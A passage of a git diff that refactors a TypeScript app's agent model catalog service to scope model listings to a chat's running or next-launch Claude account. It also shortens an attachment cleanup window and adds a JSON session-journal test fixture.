{}, + getSettings: () => ({ + claudeManagedAccounts: [], + activeClaudeManagedAccountId: 'b', + activeClaudeManagedAccountIdsByRuntime: undefined, + agentStatusHooksEnabled: false, + disabledTuiAgents: [] + }) + }) + installClaudeProfileRouter(router) + try { + const founded = { + ...record('/accounts/a'), + provider: 'claude', + accountHome: HOME('CLAUDE_CONFIG_DIR', '/accounts/a') + } + const store = new AgentModelCatalogStore() + const keyA = agentModelCatalogFingerprintForRecord(founded) + store.recordSuccess(keyA, 'claude', listing('only-a'), 'discovery') + const savedA = structuredClone(store.get(keyA)) + const readEntry = vi.spyOn(store, 'get') + const readFailure = vi.spyOn(store, 'failure') + const probe = vi.fn(async () => listing('only-b')) + const recordWorkspacePath = vi.fn(async () => root) + const resolveAccountHome = vi.fn(async () => founded.accountHome) + const service = createAgentModelCatalogService({ + store, + getConversation: () => agentSessionConversationView(founded), + getRecord: () => founded, + drivesRecord: () => true, + resolveAccountHome, + recordWorkspacePath, + probes: { claude: probe } + }) + const launchAccountHome = async (record: AgentSessionRecord) => + HOME( + 'CLAUDE_CONFIG_DIR', + resolveStructuredClaudeAccountHomePath({ + launchEnv: {}, + wslDistro: record.location.wslDistro, + getClaudeConfigDirectory: () => router.systemDefaultHome() + }) + ) + const read = { agent: 'claude', sessionId: 'session-1', inSessionWorkspace: true as const } + const scopedRead = async (params: Parameters[0]) => { + const operation = service.captureRead(params) + const records = await resolveAgentModelCatalogReadRecords( + { + getConversation: () => agentSessionConversationView(founded), + getRecord: () => founded, + drivesRecord: () => true, + launchAccountHome + }, + params + ) + return service.read({ ...params, records, operation }) + } + expect(router.systemDefaultLogin()).toBeNull() + for (const savedOnly of [true, false]) { + expect(await scopedRead({ ...read, savedOnly })).toEqual({ origin: 'unknown' }) + } + expect(recordWorkspacePath).not.toHaveBeenCalled() + expect(resolveAccountHome).not.toHaveBeenCalled() + expect(probe).not.toHaveBeenCalled() + expect(readEntry).not.toHaveBeenCalled() + expect(readFailure).not.toHaveBeenCalled() + mkdirSync(router.accountHome('b'), { recursive: true }) + expect(await scopedRead({ ...read, waitForListing: true })).toMatchObject({ + origin: 'probe', + models: [{ id: 'only-b' }] + }) + expect(probe).toHaveBeenCalledExactlyOnceWith( + HOME('CLAUDE_CONFIG_DIR', router.accountHome('b')), + expect.objectContaining({ + signal: expect.any(AbortSignal), + workspacePath: root, + operation: expect.objectContaining({ + current: expect.any(Function), + deadline: expect.any(Number), + signal: expect.any(AbortSignal) + }) + }) + ) + expect(store.get(keyA)).toEqual(savedA) + expect(founded.accountHome).toEqual(HOME('CLAUDE_CONFIG_DIR', '/accounts/a')) + } finally { + installClaudeProfileRouter(undefined) + rmSync(root, { recursive: true, force: true }) + } + }) }) it('keeps old producers from publishing rows, defaults or failure expiry after retirement and stop', async () => { diff --git a/src/main/native-chat/agent-model-catalog/agent-model-catalog-prewarm.ts b/src/main/native-chat/agent-model-catalog/agent-model-catalog-prewarm.ts index bf9f7c18ee1..97a92ba5f1b 100644 --- a/src/main/native-chat/agent-model-catalog/agent-model-catalog-prewarm.ts +++ b/src/main/native-chat/agent-model-catalog/agent-model-catalog-prewarm.ts @@ -6,7 +6,7 @@ import type { import { agentModelCatalogFingerprint } from './agent-model-catalog-fingerprint' export async function newChatCatalogKey( - deps: AgentModelCatalogServiceDeps, + deps: Pick, agent: string, folder?: string ): Promise<{ fingerprint: string; accountHome: AgentSessionAccountHome } | null> { diff --git a/src/main/native-chat/agent-model-catalog/agent-model-catalog-read-scope.ts b/src/main/native-chat/agent-model-catalog/agent-model-catalog-read-scope.ts new file mode 100644 index 00000000000..a338f4f85ee --- /dev/null +++ b/src/main/native-chat/agent-model-catalog/agent-model-catalog-read-scope.ts @@ -0,0 +1,32 @@ +import type { + AgentModelCatalogReadParams, + AgentModelCatalogServiceDeps +} from './agent-model-catalog-service-contract' +import type { AgentModelCatalogReadRecords } from './agent-model-catalog-running-account' + +export function agentModelCatalogReadRecords( + deps: AgentModelCatalogServiceDeps, + params: AgentModelCatalogReadParams +): AgentModelCatalogReadRecords | null { + const record = params.sessionId ? deps.getConversation(params.sessionId) : undefined + if (record && (record.provider !== params.agent || !deps.drivesRecord(record))) { + return null + } + if (params.records !== undefined) { + return params.records + } + return { + record, + scoped: record, + savedOnly: !!params.savedOnly || !!(record && !deps.getRecord(record.sessionId)) + } +} + +export function agentModelCatalogScopedRecord( + deps: AgentModelCatalogServiceDeps, + params: AgentModelCatalogReadParams +) { + const records = agentModelCatalogReadRecords(deps, params) + const stored = params.sessionId ? deps.getConversation(params.sessionId) : undefined + return records?.scoped && stored ? { ...stored, accountHome: records.scoped.accountHome } : stored +} diff --git a/src/main/native-chat/agent-model-catalog/agent-model-catalog-running-account.ts b/src/main/native-chat/agent-model-catalog/agent-model-catalog-running-account.ts new file mode 100644 index 00000000000..3f9c4ab7777 --- /dev/null +++ b/src/main/native-chat/agent-model-catalog/agent-model-catalog-running-account.ts @@ -0,0 +1,69 @@ +// A chat's listings belong to the account it runs on: its running agent's, else the one its next +// start launches under, else the record's. A chat moves accounts when the selection changes. + +import type { AgentSessionAccountHome } from '../../../shared/agent-session-account-home' +import type { AgentSessionConversationView } from '../../../shared/agent-session-conversation-view' +import type { AgentModelCatalogRecord } from './agent-model-catalog-workspace' +import type { AgentSessionRecord } from '../../../shared/agent-session-record' + +export type AgentModelCatalogRunningAccountDeps = { + /** The account the chat's running agent launched under, when it reports one. */ + liveAccountHome?: (sessionId: string) => AgentSessionAccountHome | undefined + /** The next launch's account; null keeps the record's, rejection means it cannot be read now. */ + launchAccountHome?: (record: AgentSessionRecord) => Promise +} + +/** The record as its running agent's account keys it; a listing the agent reports is that account's. */ +export function onLiveAccount( + deps: AgentModelCatalogRunningAccountDeps, + record: T +): T { + const accountHome = deps.liveAccountHome?.(record.sessionId) + return accountHome ? { ...record, accountHome } : record +} + +/** For a read: a chat at rest reads the account its next start launches under. */ +export async function onRunningAccount( + deps: AgentModelCatalogRunningAccountDeps & { + getRecord: (sessionId: string) => AgentSessionRecord | undefined + }, + record: AgentSessionConversationView +): Promise { + if (deps.liveAccountHome?.(record.sessionId)) { + return onLiveAccount(deps, record) + } + const writable = deps.getRecord(record.sessionId) + const accountHome = writable ? await deps.launchAccountHome?.(writable) : undefined + return accountHome ? { ...record, accountHome } : record +} + +export type AgentModelCatalogReadRecords = { + record: AgentSessionConversationView | undefined + scoped: AgentSessionConversationView | undefined + savedOnly: boolean +} + +/** A failed account read is distinct from a recordless new-chat read. */ +export async function resolveAgentModelCatalogReadRecords( + deps: AgentModelCatalogRunningAccountDeps & { + getConversation: (id: string) => AgentSessionConversationView | undefined + getRecord: (id: string) => AgentSessionRecord | undefined + drivesRecord: (record: AgentModelCatalogRecord) => boolean + }, + params: { agent: string; sessionId?: string; savedOnly?: boolean } +): Promise { + const record = params.sessionId ? deps.getConversation(params.sessionId) : undefined + const savedOnly = params.savedOnly || !!(record && !deps.getRecord(record.sessionId)) + let scoped: typeof record + if (record && (record.provider !== params.agent || !deps.drivesRecord(record))) { + return null + } + if (record) { + try { + scoped = await onRunningAccount(deps, record) + } catch { + return null + } + } + return { record, scoped, savedOnly } +} diff --git a/src/main/native-chat/agent-model-catalog/agent-model-catalog-service-contract.ts b/src/main/native-chat/agent-model-catalog/agent-model-catalog-service-contract.ts index 83c86733e8c..502e44cadc3 100644 --- a/src/main/native-chat/agent-model-catalog/agent-model-catalog-service-contract.ts +++ b/src/main/native-chat/agent-model-catalog/agent-model-catalog-service-contract.ts @@ -1,3 +1,5 @@ +import type { AgentModelCatalogReadRecords } from './agent-model-catalog-running-account' +import type { AgentModelCatalogReadOperation } from './agent-model-catalog-operation' import type { AgentSessionModelCatalogResult } from '../../../shared/agent-session-wire' import type { AgentSessionAccountHome, @@ -14,6 +16,7 @@ import type { AgentModelCatalogRecord } from './agent-model-catalog-workspace' export type AgentModelCatalogServiceDeps = AgentModelCatalogWorkspaceDeps & { + liveAccountHome?: (sessionId: string) => AgentSessionAccountHome | undefined getConversation: (sessionId: string) => AgentSessionConversationView | undefined getRecord: (sessionId: string) => AgentSessionRecord | undefined /** Unlaunchable records cannot authorize probing their account with a different host binary. */ @@ -33,6 +36,7 @@ export type AgentModelCatalogSource = (() => boolean) & { } export type AgentModelCatalogService = { + captureRead: (params: AgentModelCatalogReadParams) => AgentModelCatalogReadOperation snapshot: (params: AgentModelCatalogReadParams) => AgentSessionModelCatalogResult demand: (params: AgentModelCatalogReadParams) => Promise /** Explicitly resolves saved scope without listing or refreshing the environment. */ @@ -60,6 +64,8 @@ export type AgentModelCatalogService = { export type AgentModelCatalogReadParams = { agent: string + records?: AgentModelCatalogReadRecords | null + operation?: AgentModelCatalogReadOperation /** Original explicit operation budget, shared with compatibility saved-scope continuation. */ deadline?: number /** Internal selector resolution; never part of the wire contract. */ diff --git a/src/main/native-chat/agent-model-catalog/agent-model-catalog-service.ts b/src/main/native-chat/agent-model-catalog/agent-model-catalog-service.ts index 256b7518307..19b7bdfdb8f 100644 --- a/src/main/native-chat/agent-model-catalog/agent-model-catalog-service.ts +++ b/src/main/native-chat/agent-model-catalog/agent-model-catalog-service.ts @@ -1,13 +1,10 @@ -import { agentModelCatalogFingerprintForRecord } from './agent-model-catalog-fingerprint' -import { createAgentModelCatalogLiveListings } from './agent-model-catalog-live-listings' -import { scopedAgentModelCatalogLister } from './agent-model-catalog-lister' -import { prewarmAgentModelCatalog, newChatCatalogKey } from './agent-model-catalog-prewarm' -import type { AgentSessionAccountHome } from '../../../shared/agent-session-record' +import { captureAgentModelCatalogRead } from './agent-model-catalog-operation' import { - catalogFolder, - sessionWorkspacePath, - projectAgentModelCatalogDefault -} from './agent-model-catalog-workspace' + createAgentModelCatalogLookup, + type AgentModelCatalogClaim +} from './agent-model-catalog-lookup' +import { createAgentModelCatalogLiveListings } from './agent-model-catalog-live-listings' +import { prewarmAgentModelCatalog } from './agent-model-catalog-prewarm' import type { AgentModelCatalogServiceDeps, @@ -15,13 +12,10 @@ import type { AgentModelCatalogReadParams } from './agent-model-catalog-service-contract' export type { AgentModelCatalogServiceDeps, AgentModelCatalogService } -import { resolveAgentModelCatalogScope } from './agent-model-catalog-scope' -import { independentAgentModelCatalog } from './agent-model-catalog-discovery' import { onAtRestCommandContextRetired } from '../agent-session-wire/at-rest-command-context' import { createAgentModelCatalogSnapshot, agentModelCatalogRequestKey, - agentModelCatalogReleasedOwner, agentModelCatalogScopeIdentity, retireAgentModelCatalogRequests, agentModelCatalogMemoryBinding, @@ -32,7 +26,6 @@ import { import { PrioritySemaphore } from '../../../shared/priority-semaphore' import { AGENT_MODEL_CATALOG_PICKER_WAIT_MS, - runAgentModelCatalogOperation, waitForAgentModelCatalogRead } from './agent-model-catalog-listing-waiters' @@ -42,13 +35,8 @@ export function createAgentModelCatalogService( const lifetime = new AbortController() const admission = new PrioritySemaphore(2) - type Claim = Pick & { - controller: AbortController - promise: Promise - ready: Promise - } const bindings = new Map() - const claims = new Map() + const claims = new Map() const requestKey = agentModelCatalogRequestKey.bind(null, deps) const capture = agentModelCatalogScopeIdentity.bind(null, deps) const retireContext = (workspaceId?: string, sources = true): void => { @@ -73,196 +61,20 @@ export function createAgentModelCatalogService( () => lifetime.signal.aborted ) - const resolve = (params: AgentModelCatalogReadParams): Promise => { - const deadline = params.deadline ?? Date.now() + AGENT_MODEL_CATALOG_PICKER_WAIT_MS - const remaining = deadline - Date.now() - if (lifetime.signal.aborted || remaining <= 0) { - return Promise.resolve() - } - const bindingKey = requestKey(params) - const key = params.savedOnly ? `${bindingKey}:saved` : bindingKey - let identity = capture(params) - const workspaceIdentity = params.workspace?.identity() - let coldWorkspace = params.workspace !== undefined && workspaceIdentity === null - const retirement = deps.store.retirementRevision(params.agent) - const previous = claims.get(key) - if (previous?.identity === identity) { - return previous.promise - } - previous?.controller.abort() - const controller = new AbortController() - const ready = Promise.withResolvers() - const valid = (): boolean => - Date.now() < deadline && - !controller.signal.aborted && - !lifetime.signal.aborted && - deps.store.retirementRevision(params.agent) === retirement && - requestKey(params) === bindingKey && - (coldWorkspace || capture(params) === identity) - const current = (): boolean => valid() && claims.get(key)?.controller === controller - const run = async (): Promise => { - if (!current()) { - return - } - const record = params.sessionId ? deps.getConversation(params.sessionId) : undefined - const savedOnly = params.savedOnly || !!(record && !deps.getRecord(record.sessionId)) - const scoped = - record && record.provider === params.agent && deps.drivesRecord(record) ? record : undefined - if (record && !scoped) { - return - } - let workspacePath: string | null | undefined - if (params.workspace) { - const resolved = await params.workspace.resolve().catch(() => undefined) - if (!current() || resolved === undefined) { - return - } - if (resolved !== null && typeof resolved === 'object') { - if ( - resolved.identity === null || - params.workspace.identity() !== resolved.identity || - (!coldWorkspace && workspaceIdentity !== resolved.identity) - ) { - return - } - identity = capture(params) - const claim = claims.get(key) - if (claim?.controller !== controller) { - return - } - claim.identity = identity - workspacePath = resolved.path - } else { - workspacePath = resolved - } - coldWorkspace = false - } else { - workspacePath = - params.inSessionWorkspace || - (record && - params.workspacePath === undefined && - !params.legacy && - deps.agentReadsProjectModelConfig?.(params.agent) === true) - ? record - ? await sessionWorkspacePath(deps, record) - : null - : params.workspacePath - } - if (!current()) { - return - } - const folder = await catalogFolder(deps, params.agent, workspacePath, scoped) - if (!current()) { - return - } - let fingerprint: string - let probeHome: AgentSessionAccountHome | null - if (scoped) { - fingerprint = agentModelCatalogFingerprintForRecord(scoped, folder) - // Native probes cannot list a WSL-pinned account. - probeHome = - scoped.location.executionHostId === 'local' && scoped.location.wslDistro === null - ? scoped.accountHome - : null - } else { - const key = await newChatCatalogKey(deps, params.agent, folder) - if (!current() || !key) { - return - } - fingerprint = key.fingerprint - probeHome = key.accountHome - } - const scope = await resolveAgentModelCatalogScope( - deps, - { ...params, workspacePath, savedOnly }, - scoped, - fingerprint, - probeHome, - current, - { deadline, current, signal: controller.signal } - ) - if (!current() || !scope) { - return - } - const { base, exact, resolved, cwd } = scope - fingerprint = scope.fingerprint - let bindingCurrent = true - const bound: AgentModelCatalogBinding = { - identity, - params, - current: () => - bindingCurrent && - !lifetime.signal.aborted && - deps.store.retirementRevision(params.agent) === retirement, - workspaceId: record?.location.workspaceId, - cancel: () => { - bindingCurrent = false - controller.abort() - }, - fingerprint, - base, - exact, - folder, - cwd, - workspacePath, - keepDefault: - workspacePath === undefined || - (workspacePath === null && independentAgentModelCatalog(params.agent)) - } - bindings.set(bindingKey, bound) - while (bindings.size > 256) { - const oldest = bindings.keys().next().value - if (oldest !== undefined) { - bindings.delete(oldest) - } - } - bound.projecting = projectAgentModelCatalogDefault( - deps, - params.agent, - bound, - probeHome, - () => valid() && bindings.get(bindingKey) === bound - ) - if (savedOnly) { - await bound.projecting - return - } - if (!exact && agentModelCatalogReleasedOwner(scoped)) { - return - } - const probe = deps.probes?.[params.agent] - const signal = AbortSignal.any([lifetime.signal, controller.signal]) - const list = scopedAgentModelCatalogLister({ - legacy: params.legacy, - operation: { deadline, current, signal }, - canList: () => !record || !!deps.getRecord(record.sessionId), - admission, - signal, - resolved, - probe, - probeHome, - workspacePath: cwd ?? folder - }) - if (probe && probeHome && deps.store.probeDue(fingerprint)) { - void deps.store.refresh(fingerprint, params.agent, list, current, signal) - } - // Demand owns ingestion until settlement, even when its caller only needs the snapshot. - ready.resolve() - const pending = deps.store.pendingListing(fingerprint, true, true) - if (pending) { - await pending - } - } - const promise = runAgentModelCatalogOperation(run, remaining, controller, () => { - ready.resolve() - if (claims.get(key)?.controller === controller) { - claims.delete(key) - } - }) - claims.set(key, { identity, controller, promise, ready: ready.promise, params, current }) - return promise - } + const captureRead = (params: AgentModelCatalogReadParams) => + captureAgentModelCatalogRead(deps, lifetime.signal, params) + const resolve = createAgentModelCatalogLookup( + deps, + lifetime, + admission, + bindings, + claims, + requestKey, + capture, + captureRead + ) return { + captureRead, snapshot, demand: (params) => (params.savedOnly ? Promise.resolve() : resolve(params)), async prepareSaved(params) { diff --git a/src/main/native-chat/agent-model-catalog/agent-model-catalog-snapshot.ts b/src/main/native-chat/agent-model-catalog/agent-model-catalog-snapshot.ts index bb878a9194f..45ecc5324b2 100644 --- a/src/main/native-chat/agent-model-catalog/agent-model-catalog-snapshot.ts +++ b/src/main/native-chat/agent-model-catalog/agent-model-catalog-snapshot.ts @@ -1,6 +1,14 @@ +import { + agentModelCatalogReadRecords, + agentModelCatalogScopedRecord +} from './agent-model-catalog-read-scope' +import { onLiveAccount } from './agent-model-catalog-running-account' import { agentModelCatalogFingerprintForRecord } from './agent-model-catalog-fingerprint' import { agentSessionPinnedLaunchDirectory } from '../../runtime/agent-session-record-launch-directory' -import type { AgentSessionConversationView } from '../../../shared/agent-session-conversation-view' +import { + agentSessionConversationView, + type AgentSessionConversationView +} from '../../../shared/agent-session-conversation-view' import type { AgentSessionRecord } from '../../../shared/agent-session-record' import type { AgentSessionModelCatalogResult } from '../../../shared/agent-session-wire' import { agentModelCatalogResultFromEntry } from './agent-model-catalog-entry' @@ -38,7 +46,7 @@ export function agentModelCatalogRequestKey( deps: AgentModelCatalogServiceDeps, params: AgentModelCatalogReadParams ): string { - const record = params.sessionId ? deps.getConversation(params.sessionId) : undefined + const record = agentModelCatalogScopedRecord(deps, params) const inWorkspace = record && !params.workspace && @@ -83,11 +91,14 @@ export function agentModelCatalogMemoryBinding( bindings: ReadonlyMap, capture: (params: AgentModelCatalogReadParams) => string ): AgentModelCatalogBinding | undefined { + if (!agentModelCatalogReadRecords(deps, params)) { + return + } const held = bindings.get(agentModelCatalogRequestKey(deps, params)) if (held?.current() && held.identity === capture(params)) { return held } - const record = params.sessionId ? deps.getConversation(params.sessionId) : undefined + const record = agentModelCatalogScopedRecord(deps, params) if (!record || record.provider !== params.agent || !deps.drivesRecord(record)) { return } @@ -145,6 +156,9 @@ export function createAgentModelCatalogSnapshot( stopped: () => boolean ) { return (params: AgentModelCatalogReadParams): AgentSessionModelCatalogResult => { + if (params.records === null || params.operation?.current() === false) { + return { origin: 'unknown' } + } const bound = binding(params) if (stopped() || !bound) { return { @@ -255,11 +269,13 @@ export function expireAgentModelCatalogBoundFailure( record: AgentSessionRecord, source?: () => boolean ): void { + const view = agentSessionConversationView(record) const bound = bindings.get( agentModelCatalogRequestKey(deps, { agent: record.provider, sessionId: record.sessionId, - inSessionWorkspace: true + inSessionWorkspace: true, + records: { record: view, scoped: onLiveAccount(deps, view), savedOnly: false } }) ) if (bound?.current() && source?.() !== false) { @@ -273,7 +289,14 @@ export function agentModelCatalogSessionPeek( ) { return (sessionId: string, verifiedOnly?: boolean) => { const record = deps.getConversation(sessionId) - const bound = record && binding({ agent: record.provider, sessionId, inSessionWorkspace: true }) + const bound = + record && + binding({ + agent: record.provider, + sessionId, + inSessionWorkspace: true, + records: { record, scoped: onLiveAccount(deps, record), savedOnly: false } + }) const entry = bound ? deps.store.observation(bound.fingerprint) : null return entry && (!verifiedOnly || deps.store.verified(entry)) ? entry : null } diff --git a/src/main/native-chat/agent-session-attachments/agent-session-attachment-sweep.test.ts b/src/main/native-chat/agent-session-attachments/agent-session-attachment-sweep.test.ts index 7861a5c9439..e60a4960ad5 100644 --- a/src/main/native-chat/agent-session-attachments/agent-session-attachment-sweep.test.ts +++ b/src/main/native-chat/agent-session-attachments/agent-session-attachment-sweep.test.ts @@ -149,7 +149,7 @@ describe('sweepAgentSessionAttachments', () => { expect(await remaining()).toEqual([UNSENT]) }) - it('removes an upload nobody claimed after 30 days, and keeps a claimed one and a fresh one', async () => { + it('removes an upload nobody claimed after 7 days, and keeps a claimed one and a fresh one', async () => { claim('session-1', await seedUpload(SENT, OLD)) await seedUpload(UNSENT, OLD) await seedUpload(CARRIED, HOUR) diff --git a/src/main/native-chat/agent-session-attachments/agent-session-attachment-sweep.ts b/src/main/native-chat/agent-session-attachments/agent-session-attachment-sweep.ts index d986bb32ce7..2afa83d565c 100644 --- a/src/main/native-chat/agent-session-attachments/agent-session-attachment-sweep.ts +++ b/src/main/native-chat/agent-session-attachments/agent-session-attachment-sweep.ts @@ -15,7 +15,7 @@ import { AGENT_SESSION_ATTACHMENT_PART_FILE } from './agent-session-attachment-r import { removeQuietly, type AgentSessionAttachmentStore } from './agent-session-attachment-store' export const ABANDONED_PART_MAX_AGE_MS = 60 * 60 * 1000 -export const UNCLAIMED_ATTACHMENT_MAX_AGE_MS = 30 * 24 * 60 * 60 * 1000 +export const UNCLAIMED_ATTACHMENT_MAX_AGE_MS = 7 * 24 * 60 * 60 * 1000 export type AgentSessionAttachmentSweepFacts = { /** Without a writable journal, only unfinished part files may be removed. */ diff --git a/src/main/native-chat/agent-session-journal/__fixtures__/journal-input-prefix.json b/src/main/native-chat/agent-session-journal/__fixtures__/journal-input-prefix.json new file mode 100644 index 00000000000..2d28523c716 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/__fixtures__/journal-input-prefix.json @@ -0,0 +1,456 @@ +{ + "sessionId": "session-1", + "epoch": "epoch-1", + "rows": [ + "{\"v\":2,\"kind\":\"epoch\",\"epoch\":\"epoch-1\",\"seq\":1,\"fence\":0,\"ts\":1001,\"reason\":\"session_created\",\"providerHandle\":{\"kind\":\"codex\",\"threadId\":\"thread-1\"},\"historyOrigin\":{\"version\":1,\"kind\":\"legacy_import\"}}", + "{\"v\":2,\"kind\":\"submission\",\"epoch\":\"epoch-1\",\"seq\":2,\"fence\":1,\"ts\":1002,\"clientMessageId\":\"send-1\",\"payloadFingerprint\":\"f1\",\"providerHandle\":{\"kind\":\"codex\",\"threadId\":\"thread-1\"},\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Please investigate\"}]},\"handoverRecorded\":true,\"origin\":\"client\",\"options\":{\"model\":\"gpt-5\",\"effort\":\"high\",\"retired\":\"x\"}}", + "{\"v\":2,\"kind\":\"dispatch\",\"epoch\":\"epoch-1\",\"seq\":3,\"fence\":1,\"ts\":1003,\"clientMessageId\":\"send-1\",\"state\":\"pending\",\"providerItemId\":null,\"reason\":null,\"carries\":[]}", + "{\"v\":3,\"kind\":\"item\",\"epoch\":\"epoch-1\",\"seq\":4,\"fence\":1,\"ts\":1004,\"itemId\":\"codex:thread-1:turn-1:0\",\"revision\":1,\"turnScope\":{\"kind\":\"thread\"},\"ownerFence\":1,\"body\":{\"kind\":\"turn\",\"turnId\":\"turn-1\",\"state\":\"running\",\"userItemId\":\"orca:send-1\",\"startedAt\":1004,\"requestedAt\":1002}}", + "{\"v\":2,\"kind\":\"dispatch\",\"epoch\":\"epoch-1\",\"seq\":5,\"fence\":1,\"ts\":1005,\"clientMessageId\":\"send-1\",\"state\":\"accepted\",\"providerItemId\":\"codex:thread-1:turn-1:1\",\"reason\":null,\"answeredInTurn\":{\"turnItemId\":\"codex:thread-1:turn-1:0\",\"via\":\"start\"}}", + "{\"v\":2,\"kind\":\"item\",\"epoch\":\"epoch-1\",\"seq\":6,\"fence\":1,\"ts\":1006,\"itemId\":\"codex:thread-1:turn-1:2\",\"revision\":1,\"turnScope\":{\"kind\":\"turn\",\"turnItemId\":\"codex:thread-1:turn-1:0\"},\"body\":{\"kind\":\"message\",\"role\":\"assistant\",\"blocks\":[{\"type\":\"text\",\"text\":\"Reading\"},{\"type\":\"tool-call\",\"name\":\"Read\",\"input\":{\"path\":\"a.ts\"},\"callId\":\"call-1\"},{\"type\":\"tool-result\",\"output\":\"ok\",\"callId\":\"call-1\"}]}}", + "{\"v\":2,\"kind\":\"item\",\"epoch\":\"epoch-1\",\"seq\":7,\"fence\":1,\"ts\":1007,\"itemId\":\"codex:thread-1:turn-1:3\",\"revision\":1,\"turnScope\":{\"kind\":\"turn\",\"turnItemId\":\"codex:thread-1:turn-1:0\"},\"agentId\":\"child-1\",\"producerKind\":\"agent\",\"body\":{\"kind\":\"tool-call\",\"name\":\"shell\",\"input\":{\"command\":\"ls\"},\"callId\":\"call-2\",\"state\":\"running\"}}", + "{\"v\":2,\"kind\":\"lifecycle-batch\",\"epoch\":\"epoch-1\",\"seq\":8,\"fence\":1,\"ts\":1008,\"settlementId\":\"settle-1\",\"mutations\":[{\"kind\":\"item\",\"itemId\":\"codex:thread-1:turn-1:3\",\"revision\":2,\"body\":{\"kind\":\"tool-call\",\"name\":\"shell\",\"input\":{\"command\":\"ls\"},\"callId\":\"call-2\",\"state\":\"completed\",\"endedAs\":\"completed\",\"exitCode\":0},\"turnScope\":{\"kind\":\"turn\",\"turnItemId\":\"codex:thread-1:turn-1:0\"},\"agentId\":\"child-1\",\"producerKind\":\"agent\"},{\"kind\":\"tombstone\",\"itemId\":\"codex:thread-1:turn-1:2\",\"revision\":2}]}", + "{\"v\":4,\"kind\":\"queue\",\"epoch\":\"epoch-1\",\"seq\":9,\"fence\":1,\"ts\":1009,\"messageId\":\"card-1\",\"change\":{\"op\":\"queued\",\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Please investigate\"}]},\"position\":1,\"queuedAt\":{\"epoch\":\"epoch-1\",\"sequence\":9},\"options\":{\"model\":\"gpt-5\"}}}", + "{\"v\":4,\"kind\":\"queue\",\"epoch\":\"epoch-1\",\"seq\":10,\"fence\":1,\"ts\":1010,\"messageId\":\"card-1\",\"change\":{\"op\":\"edited\",\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Please investigate both\"}]}}}", + "{\"v\":4,\"kind\":\"queue\",\"epoch\":\"epoch-1\",\"seq\":11,\"fence\":1,\"ts\":1011,\"messageId\":\"card-2\",\"change\":{\"op\":\"queued\",\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Please investigate\"}]},\"position\":2,\"queuedAt\":{\"epoch\":\"epoch-1\",\"sequence\":11}}}", + "{\"v\":4,\"kind\":\"queue\",\"epoch\":\"epoch-1\",\"seq\":12,\"fence\":1,\"ts\":1012,\"messageId\":\"card-2\",\"change\":{\"op\":\"moved\",\"position\":0}}", + "{\"v\":2,\"kind\":\"tombstone\",\"epoch\":\"epoch-1\",\"seq\":13,\"fence\":1,\"ts\":1013,\"itemId\":\"orca:stop-13\",\"revision\":1,\"stopEvent\":{\"reason\":\"user-stop\",\"turnId\":\"turn-1\",\"at\":1013,\"caller\":\"client\"}}", + "{\"v\":3,\"kind\":\"item\",\"epoch\":\"epoch-1\",\"seq\":14,\"fence\":1,\"ts\":1014,\"itemId\":\"codex:thread-1:turn-1:0\",\"revision\":2,\"turnScope\":{\"kind\":\"thread\"},\"ownerFence\":1,\"body\":{\"kind\":\"turn\",\"turnId\":\"turn-1\",\"state\":\"interrupted\",\"userItemId\":\"orca:send-1\",\"startedAt\":1004,\"requestedAt\":1002,\"completedAt\":1014,\"contextUsage\":{\"window\":{\"tokens\":200000,\"capturedAt\":1014},\"used\":{\"kind\":\"estimate\",\"usage\":{\"inputTokens\":10,\"cacheCreationInputTokens\":0,\"cacheReadInputTokens\":0,\"outputTokens\":5},\"capturedAt\":1014}}}}", + "{\"v\":4,\"kind\":\"queue\",\"epoch\":\"epoch-1\",\"seq\":15,\"fence\":1,\"ts\":1015,\"messageId\":\"card-2\",\"change\":{\"op\":\"held\",\"holdReason\":\"send_failed\"}}", + "{\"v\":2,\"kind\":\"tombstone\",\"epoch\":\"epoch-1\",\"seq\":16,\"fence\":1,\"ts\":1016,\"itemId\":\"orca:resume-16\",\"revision\":1,\"queueResume\":true}", + "{\"v\":2,\"kind\":\"item\",\"epoch\":\"epoch-1\",\"seq\":17,\"fence\":1,\"ts\":1017,\"itemId\":\"codex:thread-1:turn-2:0\",\"revision\":1,\"turnScope\":{\"kind\":\"thread\"},\"body\":{\"kind\":\"approval\",\"title\":\"Run shell?\",\"detail\":null,\"options\":[{\"id\":\"yes\",\"label\":\"Yes\"}],\"subject\":{\"kind\":\"plan\",\"text\":\"Plan\"},\"resolution\":{\"state\":\"approved\",\"selectedOptionId\":\"yes\",\"resolvedBy\":\"client\",\"resolvedAt\":1017}}}", + "{\"v\":4,\"kind\":\"queue\",\"epoch\":\"epoch-1\",\"seq\":18,\"fence\":1,\"ts\":1018,\"messageId\":\"card-1\",\"change\":{\"op\":\"withdrawn\"}}", + "{\"v\":2,\"kind\":\"item\",\"epoch\":\"epoch-1\",\"seq\":19,\"fence\":1,\"ts\":1019,\"itemId\":\"codex:thread-1:turn-2:1\",\"revision\":1,\"turnScope\":{\"kind\":\"thread\"},\"body\":{\"kind\":\"status\",\"text\":\"The agent stopped.\",\"failure\":{\"kind\":\"providerExited\",\"detail\":{\"text\":\"exit 1\",\"audience\":\"log\"}}}}", + "{\"kind\":\"item\",\"itemId\":\"codex:thread-1:turn-3:0\",\"revision\":1,\"body\":{\"kind\":\"turn\",\"turnId\":\"turn-3\",\"state\":\"running\"},\"v\":3,\"epoch\":\"epoch-1\",\"seq\":20,\"fence\":1,\"ts\":1020,\"ownerFence\":1,\"executionOwner\":2,\"turnScope\":{\"kind\":\"thread\"}}", + "{\"kind\":\"item\",\"echoOf\":null,\"itemId\":\"codex:thread-1:turn-3:1\",\"revision\":1,\"body\":{\"kind\":\"message\",\"role\":\"assistant\",\"blocks\":[{\"type\":\"text\",\"text\":\"Echoed\"}]},\"v\":2,\"epoch\":\"epoch-1\",\"seq\":21,\"fence\":1,\"ts\":1021,\"ownerFence\":1,\"turnScope\":{\"kind\":\"turn\",\"turnItemId\":\"codex:thread-1:turn-3:0\"}}", + 